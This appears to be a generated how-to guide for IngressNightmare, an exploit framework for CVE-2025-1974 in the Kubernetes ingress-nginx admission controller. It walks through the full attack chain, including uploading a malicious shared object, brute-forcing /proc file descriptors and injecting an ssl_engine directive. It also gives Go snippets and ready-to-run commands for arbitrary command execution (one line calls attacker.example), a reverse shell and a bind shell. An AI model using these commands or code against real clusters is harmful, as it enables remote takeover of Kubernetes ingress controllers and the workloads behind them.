# How to Execute Arbitrary Commands Using IngressNightmare: CVE-2025-1974 Exploitation Guide

> Learn to execute arbitrary commands with IngressNightmare CVE-2025-1974. This guide explains exploiting NGINX Ingress controllers through malicious shared objects and the ssl_engine directive.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**IngressNightmare enables arbitrary command execution by uploading a malicious shared object to a vulnerable NGINX Ingress controller and coercing the admission webhook to load it via the `ssl_engine` directive.**

IngressNightmare is a Go-based exploitation framework targeting **CVE-2025-1974** in the kubernetes/ingress-nginx project. According to the `esonhugh/ingressnightmare-cve-2025-1974-exps` source code, the tool automates the delivery of a payload shared library (`evil.so`) to the Ingress controller pod and manipulates the validation webhook to achieve remote code execution. Below is the complete technical breakdown of how to execute arbitrary commands using this framework.

## Understanding the IngressNightmare Attack Architecture

The exploit leverages a vulnerability in the Ingress NGINX admission controller's handling of SSL configuration directives. By uploading a crafted shared object file and referencing it through a `/proc/<pid>/fd/<fd>` path in an `ssl_engine` directive, attackers force the NGINX process to load malicious code into its address space. The [`danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/danger.c) source file (embedded in the repository and compiled into `danger.so`) contains the payload that executes when the library initializes.

## Step-by-Step Exploitation Process

The implementation in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 57–84 and 112–124) orchestrates a seven-stage attack chain that transforms user-supplied commands into running processes inside the target pod.

### Parsing CLI Arguments and Building the Payload

The `main` package handles flag registration and constructs a `Payload` struct based on the selected mode. The tool supports three primary execution modes: arbitrary command execution (`-m c`), reverse shell (`-m r`), and bind shell (`-m b`).

In [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) (lines 22–35), the framework initializes the exploit by loading either the embedded `danger.so` (`DefaultEvilLibrary`) or a custom shared object supplied via the `--so` flag. The binary data is stored in the package-level variable `evilLibrary` for subsequent mutation.

### Loading and Modifying the Shared Object

Depending on the selected mode, one of three builder functions in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) (lines 46–92) rewrites the `.so` binary:

- **`NewCommandPayload`** injects a command string up to 512 bytes, replacing a placeholder sequence of `A`s and flipping the mode flag from `MODE_CHECK_FLAG` to `MODE_CMD_EXECVE`
- **`NewReverseShellPayload`** embeds the attacker IP and port for callback connections
- **`NewBindShellPayload`** configures a listening port for inbound connections

These functions ensure the payload is padded to exceed 8 KB, triggering NGINX's temporary file caching mechanism when uploaded.

### Preparing the Admission Webhook Request

The [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go) file (lines 28–50) contains a JSON template (`validateJsonTmpl`) derived from [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) with a `foobar` placeholder. The `RenderValidateJSON` function injects the chosen exploit method—either `auth-url`, `auth-tls-match-cn`, or `mirror-uid`—into the webhook validation request. This JSON structure is designed to pass NGINX configuration validation while harboring the malicious `ssl_engine` directive.

### Uploading the Malicious Library

A background goroutine function `UploadThread` (implemented in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go), lines 52–84) continuously POSTs the payload to the target's `upload-url` (the NGINX controller's HTTP endpoint). The `BadUploader` writes raw HTTP requests without proper termination, padding the payload to ensure NGINX buffers it as a temporary file on disk. This staging is critical because the file must persist in the pod's filesystem to be accessible via a file descriptor path.

### Brute-Forcing File Descriptors

While the upload thread maintains the cached file, the main execution flow brute-forces process ID (PID) and file descriptor (FD) combinations. The `Exploit` function in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go) (lines 61–78) iterates through configurable ranges, calling `ValidateWebHook` for each combination.

Each request replaces the `foobar` placeholder with a path like `../../../../../../proc/<pid>/fd/<fd>`. When the admission controller evaluates the configuration containing `ssl_engine <path>`, the kernel resolves the file descriptor to the attacker's cached shared object, loading it into the NGINX process.

### Achieving Code Execution

Once the library loads successfully, its initialization routine executes the injected command or spawns the specified shell type. The `ValidateWebHook` function detects success by checking for the string "Code Injected!" in the webhook response (as implemented in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go), lines 19–27), indicating that the payload has been triggered.

## Practical Code Examples

The following Go snippets demonstrate the core API usage for manual exploitation, mirroring the automated CLI workflow:

```go
// Load the default embedded shared object
data, _ := nginx_ingress.DefaultEvilLibrary()
nginx_ingress.Init(data)

// Build a command payload (example: write to /tmp/pwned)
payload := nginx_ingress.NewCommandPayload("id > /tmp/pwned")

// Render the admission webhook JSON for auth-url method
method := nginx_ingress.ExploitMethod{IsAuthURL: true}
jsonPayload := nginx_ingress.RenderValidateJSON(method)

// Upload the payload in a background goroutine
go nginx_ingress.UploadThread(
    "http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80", 
    payload, 
    make(chan struct{})
)

// Brute-force a specific PID/FD pair (example: pid 20, fd 18)
_ = nginx_ingress.ValidateWebHook(
    "https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443",
    18, 
    20
)

```

### Command-Line Usage Examples

**Execute an arbitrary command:**

```bash
./ingressnightmare -m c -c 'curl http://attacker.example/pwned' \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

```

**Establish a reverse shell:**

```bash
./ingressnightmare -m r -r 10.10.10.5 -p 4444 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

```

**Deploy a bind shell:**

```bash
./ingressnightmare -m b -b 5555 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

```

**Generate the malicious `.so` for analysis (dry-run):**

```bash
./ingressnightmare -m c -c 'whoami' \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
  --dry-run > evil.so

```

## Key Source Files and Implementation Details

| File | Purpose | Critical Functions |
|------|---------|-------------------|
| [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) | CLI flag handling and exploit orchestration | Flag registration (lines 57–84), payload construction (lines 112–124) |
| [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) | Shared object management and payload generation | `DefaultEvilLibrary`, `Init`, `NewCommandPayload`, `NewReverseShellPayload`, `NewBindShellPayload` |
| [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) | Network operations and brute-force logic | `RenderValidateJSON`, `BadUploader`, `UploadThread`, `ValidateWebHook` |
| [`nginx-ingress/danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/danger.c) | Source for the malicious shared library | Contains payload initialization code compiled into the binary |
| [`nginx-ingress/validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) | Webhook request template | Contains the `foobar` placeholder for path injection |

## Summary

- **IngressNightmare** exploits CVE-2025-1974 by combining shared object injection with admission webhook manipulation in kubernetes/ingress-nginx.
- The attack requires uploading a payload >8 KB to trigger NGINX's file caching, then referencing the cached file via `/proc/<pid>/fd/<fd>` paths.
- Three payload modes exist: arbitrary command execution (`NewCommandPayload`), reverse shell (`NewReverseShellPayload`), and bind shell (`NewBindShellPayload`).
- The `ssl_engine` directive forces the webhook process to load attacker-controlled code when validating Ingress resources.
- Success is detected by the presence of "Code Injected!" in the admission controller's response.

## Frequently Asked Questions

### What is CVE-2025-1974 and how does IngressNightmare exploit it?

CVE-2025-1974 is a vulnerability in the Ingress NGINX admission controller that allows loading arbitrary shared libraries through configuration validation. IngressNightmare exploits this by uploading a malicious `.so` file and injecting an `ssl_engine` directive that references the file via procfs file descriptor paths, causing the controller to execute attacker-controlled code during configuration checks.

### How does the `ssl_engine` directive enable arbitrary command execution?

The `ssl_engine` NGINX directive is designed to load cryptographic hardware drivers via shared objects. In this exploit, the directive is weaponized to point to `/proc/<pid>/fd/<fd>` paths that resolve to the attacker's uploaded library. When the admission controller validates a configuration containing this directive, NGINX loads the shared object, triggering its constructor functions which execute the embedded payload commands.

### What are the differences between command, reverse shell, and bind shell modes in IngressNightmare?

**Command mode** (`-m c`) uses `NewCommandPayload` to inject a single command string that executes immediately and exits. **Reverse shell mode** (`-m r`) configures the payload to connect back to a specified attacker IP and port, providing interactive shell access. **Bind shell mode** (`-m b`) causes the target to listen on a specified port, allowing the attacker to connect directly to the compromised pod.

### Is it possible to test this exploit without executing malicious code?

Yes. The `--dry-run` flag allows security researchers to generate the malicious shared object file locally for static analysis without transmitting it to a target. Additionally, reviewing the [`danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/danger.c) source code and the payload generation logic in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) provides insight into the exploit mechanism without requiring active exploitation of vulnerable systems.